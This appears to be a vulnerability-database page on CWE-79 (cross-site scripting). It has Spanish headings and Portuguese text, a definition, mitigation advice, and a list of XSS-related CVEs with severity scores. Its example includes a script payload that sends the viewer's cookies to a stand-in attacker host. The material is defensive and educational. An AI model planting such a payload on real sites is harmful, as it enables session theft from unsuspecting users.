Fallos del tipo CWE-79

28.635 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11201MEDIUMmyCred – Loyalty Points and Rewards plugin <= 2.7.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via mycred_send ShortcodeEPSS 0.9%CVE-2022-2890CRITICALCross-site Scripting (XSS) - Stored in yetiforcecompany/yetiforcecrmEPSS 0.9%CVE-2016-9130—Revive Adserver before 3.2.3 suffers from Persistent XSS. A vector for persistent XSS attacks via the Revive Adserver user interface exists,EPSS 0.9%CVE-2021-38356MEDIUMNextScripts: Social Networks Auto-Poster <= 4.3.20 Reflected Cross-Site ScriptingEPSS 0.9%CVE-2024-0282LOWKashipara Food Management System addmaterialsubmit.php cross site scriptingEPSS 0.9%CVE-2021-43558—A flaw was found in Moodle in versions 3.11 to 3.11.3, 3.10 to 3.10.7, 3.9 to 3.9.10 and earlier unsupported versions. A URL parameter in thEPSS 0.9%CVE-2021-21340MEDIUMCross-Site Scripting in Content PreviewEPSS 0.9%CVE-2021-21358MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in typo3/cms-formEPSS 0.9%CVE-2021-21370MEDIUMCross-Site Scripting in Content Preview (CType menu)EPSS 0.9%CVE-2017-12307—A vulnerability in the web framework of Cisco Small Business Managed Switches software could allow an unauthenticated, remote attacker to coEPSS 0.9%CVE-2023-0742HIGHCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.9%CVE-2025-56432MEDIUMA cross-site scripting (XSS) vulnerability exists in Nagios XI 2024R2. The vulnerability allows remote attackers to execute arbitrary JavaScEPSS 0.9%CVE-2024-34224HIGHCross Site Scripting vulnerability in /php-lms/classes/Users.php?f=save in Computer Laboratory Management System using PHP and MySQL 1.0 allEPSS 0.9%CVE-2023-0741HIGHCross-site Scripting (XSS) - DOM in answerdev/answerEPSS 0.9%CVE-2021-43841MEDIUMXSS by SVG upload in xwiki-platformEPSS 0.9%CVE-2022-1571CRITICALCross-site scripting - Reflected in Create Subaccount in neorazorx/facturascriptsEPSS 0.9%CVE-2025-14499HIGHIceWarp gmaps Cross-Site Scripting Authentication Bypass VulnerabilityEPSS 0.9%CVE-2023-33977HIGHStored cross site scripting (XSS) via unrestricted file upload in Kiwi TCMSEPSS 0.9%CVE-2022-0501HIGHCross-site Scripting (XSS) - Reflected in ptrofimov/beanstalk_consoleEPSS 0.9%CVE-2023-0625HIGHDocker Desktop before 4.12.0 is vulnerable to RCE via a crafted extension description or changelogEPSS 0.9%